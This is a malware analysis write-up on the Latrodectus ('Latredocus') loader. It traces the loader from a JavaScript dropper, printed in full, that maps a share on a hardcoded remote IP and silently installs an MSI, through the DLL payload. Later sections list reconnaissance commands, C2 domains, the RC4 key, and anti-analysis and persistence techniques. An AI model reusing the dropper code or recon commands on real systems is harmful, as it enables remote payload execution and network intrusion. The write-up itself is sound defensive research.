## Malware Analysis - Latredocus Malware ### Stage : 1 #### Javascript Payload ``` MD5 hash : 7d42412a93368417fed25f581c536e5a ``` This JavaScript code performs network drive mapping, installs an MSI package, and can execute additional embedded code. Here's a breakdown: #### Key Variables and Function 1. **Setup Objects:** ```javascript var network = new ActiveXObject("WScript.Network"); var wmi = GetObject("winmgmts:\\\\.\\root\\cimv2"); var attempt = 0; var connected = false; ``` 2. **Check if Drive is Mapped:** ```javascript function isDriveMapped(letter) { var drives = network.EnumNetworkDrives(); for (var i = 0; i < drives.length; i += 2) { if (drives.Item(i) === letter) { return true; } } return false; } ``` #### Drive Mapping Logic 3. **Try Mapping Drives from 'Z' to 'A':** ```javascript for (var driveLetter = 90; driveLetter >= 65 && !connected; driveLetter--) { var letter = String.fromCharCode(driveLetter) + ":"; if (!isDriveMapped(letter)) { try { network.MapNetworkDrive(letter, "\\\\95.164.3.171@80\\share\\"); connected = true; break; } catch (e) { attempt++; } } } ``` 4. **Fallback Mapping with `net use`:** ```javascript if (!connected && attempt > 5) { var command = 'net use ' + letter + ' \\\\95.164.3.171@80\\share\\ /persistent:no'; wmi.Get("Win32_Process").Create(command, null, null, null); var startTime = new Date(); while (new Date() - startTime < 3000) {} // Wait 3 seconds connected = isDriveMapped(letter); } ``` #### MSI Installation 5. **Install MSI if Connected:** ```javascript if (connected) { var installCommand = 'msiexec.exe /i \\\\95.164.3.171@80\\share\\cisa.msi /qn'; wmi.Get("Win32_Process").Create(installCommand, null, null, null); try { network.RemoveNetworkDrive(letter, true, true); } catch (e) {} } else { WScript.Echo("Failed."); } ``` #### Execute Embedded Code 6. **Run Additional Script Code:** ```javascript var fsObj = new ActiveXObject("Scripting.FileSystemObject"); var selfPath = WScript.ScriptFullName; try { if (fsObj.FileExists(selfPath)) { var selfFile = fsObj.OpenTextFile(selfPath, 1); var codeToExecute = ""; while (!selfFile.AtEndOfStream) { var currentLine = selfFile.ReadLine(); if (currentLine.indexOf("") === 0) { codeToExecute += currentLine.substring(4) + "\n"; } } selfFile.Close(); if (codeToExecute) { var executeFunction = new Function(codeToExecute); executeFunction(); } } } catch (error) {} ``` ### Stage : 2 #### Basic Static Analysis of the MSI File ``` MD5 hash : c4e8f3e02fd50a4051f11048f1355726 ``` As discussed previously, the next artifact which gets dropped in the victim's machine is the .msi file. Orca is used to analyze the contents of the file, and the observations are as follows. ![image](https://hackmd.io/_uploads/B1ODxL4OA.png) <figcaption><center>Fig.1 : CustomAction properties has the execution of a dll configured through rundll32</center></figcaption> ![image](https://hackmd.io/_uploads/rkcsgIE_0.png) <figcaption><center>Fig.2 : Validation the presence of the required DLL that would be executed while the installer runs</center></figcaption> Now that we have got a little bit idea about the dll, we try to analyse it dynamically by running the installer. #### Basic Dynamic Analysis of the MSI File Running the installer and monitoring it using ProcMon helps us get the following observations. ![image](https://hackmd.io/_uploads/B14W9uEuA.png) <figcaption><center>Fig.3 : Process Tree Graph showing msiexec.exe being used to install the .msi file.</center></figcaption> ![image](https://hackmd.io/_uploads/H1_4cu4_C.png) <figcaption><center>Fig.4 : Process Tree Graph showing that there are 2 instances of rundll32.exe being executed.</center></figcaption> <br> The first one is used to run falcon.dll with the export function "vgml". ![image](https://hackmd.io/_uploads/rk1Zj_EuA.png) <figcaption><center>Fig.5 : Process Tree Graph showing that one more DLL is running with the same export.</center></figcaption> ### Stage : 3 #### Extracting the Actual Payload from falcon.dll So from the last section we understood what happens when we install the .sil installer in our system. It was also observed that falcon.dll after running for the first time, drops a copy of the same and the dropped DLL runs just like falcon.dll. So let's analyze falcon.dll using a debugger. ![image](https://hackmd.io/_uploads/Hkz2AySdC.png) <figcaption><center>Fig.6 : Breakpoints in x64dbg used to carve out the actual payload.</center></figcaption> ![image](https://hackmd.io/_uploads/rJY6dlrOR.png) <figcaption><center>Fig.7 : Hitting the second breakpoint before VirtualAlloc Returns</center></figcaption> We see that in the memory dump a PE get's loaded, we get a dump of the file and continue our analysis for the final stage and reverse engineer the same. ### Stage : 4 #### Static Analysis of the payload : - Payload.dll ``` MD5 hash : 703ffdc708f1f0779bb0f6da1b8cbc9a file type : PE32+ executable (DLL) (GUI) x86-64, for MS Windows ``` Normal Strings was giving some gibberish output, thus we proceed with using FLOSS to get some insights about the strings inside the binary. ##### FLOSS STRINGS ```bash INFO: floss.results: LogonTrigger INFO: floss.results: <!DOCTYPE INFO: floss.results: /c net group "Domain Admins" /domain INFO: floss.results: C:\Windows\System32\cmd.exe INFO: floss.results: &systeminfo= INFO: floss.results: "pid": INFO: floss.results: Local AppData INFO: floss.results: &desklinks=[ INFO: floss.results: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) INFO: floss.results: %d.dat INFO: floss.results: COMMAND INFO: floss.results: %s%d.dll INFO: floss.results: %s%s INFO: floss.results: /c nltest /domain_trusts /all_trusts INFO: floss.results: Content-Type: application/x-www-form-urlencoded INFO: floss.results: AppData INFO: floss.results: /c whoami /groups INFO: floss.results: /c ipconfig /all INFO: floss.results: &net_config_ws= INFO: floss.results: %s\%s INFO: floss.results: URLS|%d|%s INFO: floss.results: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders INFO: floss.results: Littlehw INFO: floss.results: :wtfbbq INFO: floss.results: &proclist=[ INFO: floss.results: &net_view_all= INFO: floss.results: .dll INFO: floss.results: /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List INFO: floss.results: Updater INFO: floss.results: ERROR INFO: floss.results: "proc": INFO: floss.results: &domain_trusts= INFO: floss.results: PT0S INFO: floss.results: .exe INFO: floss.results: Desktop INFO: floss.results: /c net view /all /domain INFO: floss.results: C:\Windows\System32\wbem\wmic.exe INFO: floss.results: POST INFO: floss.results: /files/ INFO: floss.results: &computername=%s INFO: floss.results: files/bp.dat INFO: floss.results: %04X%04X%04X%04X%08X%04X INFO: floss.results: URLS INFO: floss.results: /c systeminfo INFO: floss.results: \update_data.dat INFO: floss.results: https://aytobusesre.com/live/ INFO: floss.results: &net_wmic_av= INFO: floss.results: Custom_update INFO: floss.results: runnung INFO: floss.results: &net_group= INFO: floss.results: CLEARURL INFO: floss.results: /c net config workstation INFO: floss.results: Startup INFO: floss.results: "subproc": [ INFO: floss.results: init -="%s\%s" INFO: floss.results: &domain_trusts_all= INFO: floss.results: %s\%d.dll INFO: floss.results: &ipconfig= INFO: floss.results: /c net view /all INFO: floss.results: html INFO: floss.results: https://scifimond.com/live/ INFO: floss.results: C:\WINDOWS\SYSTEM32\rundll32.exe %s,%s INFO: floss.results: &domain=%s INFO: floss.results: rundll32.exe INFO: floss.results: front INFO: floss.results: /c nltest /domain_trusts INFO: floss.results: Personal INFO: floss.results: 12345 INFO: floss.results: \Registry\Machine\ INFO: floss.results: %s%d.exe INFO: floss.results: &whoami_group= INFO: floss.results: /c wmic.exe /node:localhost /namespace:\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivir INFO: floss.results: wmic INFO: floss.results: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ INFO: floss.results: "%s", %s %s INFO: floss.results: C:\WINDOWS\SYSTEM32\rundll32.exe %s INFO: floss.results: Update_%x INFO: floss.results: &net_view_all_domain= INFO: floss.results: %04X%04X%04X%04X%08X%04X ``` so from the above output, we can infer the following things 1. There is a Custom String Decryption Routine used to load the required strings which would be further utilised by LATREDOCUS malware. 2. The decrypted strings gives the different commands that the malware tend to perform. 3. There are also a few domain names which gives us and idea about the communication between c2 and the binary. #### Reverse Engineering of the Payload.dll We deal with actual reverse engineering of the payload.dll file which we carved out from the last stage. ![image](https://hackmd.io/_uploads/SJVTYWBuC.png) <figcaption><center>Fig.8 : Export Table of Payload.dll </center></figcaption> <br> we open the run function in IDA and start looking what all the file is trying to do!!. ![image](https://hackmd.io/_uploads/HkcA5ZS_0.png) <figcaption>Fig.9 : Dynamic API Resolution</figcaption> <br> After renaming the function in IDA and also with the help of hashDB plugin, we find the following functions.let's understand what these functions tries to do. a. resolve_kernel_32_dll : This function dynamically resolves the kernel32.dll which later helps to get the other functions from it. b. resolve_ntdll_dll : This function dynamically resolves the ntdll.dll which later helps to get the other functions from it. c. resolve_kernel32_functions : This function dynamically resolves all the functions from kernel32.dll which later gets used by the malware. the other 3 functions are used to resolve various APIs and the required DLLs which gets used by the malware to carry out various functionalities. ``` python Function decrypt_string(data_enc: byte array, xor_key: integer) -> string: Initialize decrypted_strings as an empty byte array For each index and byte in data_enc: Compute decrypted_byte as byte XOR ((xor_key + index + 1) AND 0xFF) Append decrypted_byte to decrypted_strings Return format_string(decrypted_strings) ``` the above pseudocode shows the working of the decryption routine used by the malware to dynamically load the required strings for performing various actions by the same. #### The Capabilties of the malware are as follows : 1. Mutex Lock Creations. - The payload uses the hardcoded string "runnung" as the mutext lock to check whether the machine in which it is running is already not infected. - More importantly the mutex was hardcoded which seems to be a programming flaw from the side of developers. 2. Process Enumeration on the target system. - After performing the string decryption and dynamically resolving the APIs, latredocus malware tries to find the running process in the system. ![image](https://hackmd.io/_uploads/r13XD9BdC.png) <figcaption><center>Fig. 10 Process Enumeration function used to collect infromation about the system</center></figcaption> ![image](https://hackmd.io/_uploads/HyL6v9HOR.png) <figcaption><center> Fig 11 : Details regarding each process to understand about their relationships with other processes</center></figcaption> 3. System Information Collection. - The following sheds light on the commands that are being used to collection various information about the victim system. ``` C:\Windows\System32\cmd.exe /c ipconfig /all C:\Windows\System32\cmd.exe /c systeminfo C:\Windows\System32\cmd.exe /c nltest /domain_trusts C:\Windows\System32\cmd.exe /c nltest /domain_trusts /all_trusts C:\Windows\System32\cmd.exe /c net view /all /domain C:\Windows\System32\cmd.exe /c net view /all C:\Windows\System32\cmd.exe /c net group "Domain Admins" /domain C:\Windows\System32\wbem\wmic.exe /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List C:\Windows\System32\cmd.exe /c net config workstation C:\Windows\System32\cmd.exe /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed C:\Windows\System32\cmd.exe /c whoami /groups ``` - More interestingly all these values are stored in the following manner, ``` &ipconfig= &systeminfo= &domain_trusts= &domain_trusts_all= &net_view_all_domain= &net_view_all= &net_group= &wmic= &net_config_ws= &net_wmic_av= &whoami_group= ``` 4. C2 Information ``` POST https://aytobusesre.com/live/ HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: aytobusesre.com Content-Length: 256 Cache-Control: no-cache ``` LATRODECTUS encrypts its requests using base64 and RC4 with a hardcoded password of 12345. The first POST request over HTTPS that includes victim information along with configuration details, registering the infected system 5. Anti-Analysis Techniques - Checks whether is getting dynamically debugged and terminated incase it finds the same. ![image](https://hackmd.io/_uploads/HkVxs3Su0.png) <figcaption><center>Fig. 11 Code shows that malware does and the anti-debugging check</center></figcaption> - the malware also checks the number of running processes to understand whether it is being run inside a sandbox or virtual machine ![image](https://hackmd.io/_uploads/rJxfnnHOC.png) <figcaption><center>Fig. 13 shows the anti-sandbox and virtual machine check</center></figcaption> 6. Malware Setup followed with Persistence - After the initial launch of the installer, we see that falcon.dll gets dropped, it creates a copy of itself in the directory as follows ![image](https://hackmd.io/_uploads/HyY0j6ruR.png) <figcaption><center>Fig.14 Malware creates a copy of the falcon.dll and drops it into shown folder.</center></figcaption> - It also creates a scheduled task named as Updater which apparently hardcoded in the binary. ![image](https://hackmd.io/_uploads/BJEIgCrOC.png) <figcaption><center>Fig.15 Scheduled Task created </center></figcaption> ![image](https://hackmd.io/_uploads/B1ROeRrOA.png) <figcaption><center>Fig.16 Details about the created scheduled task for persistence</center></figcaption>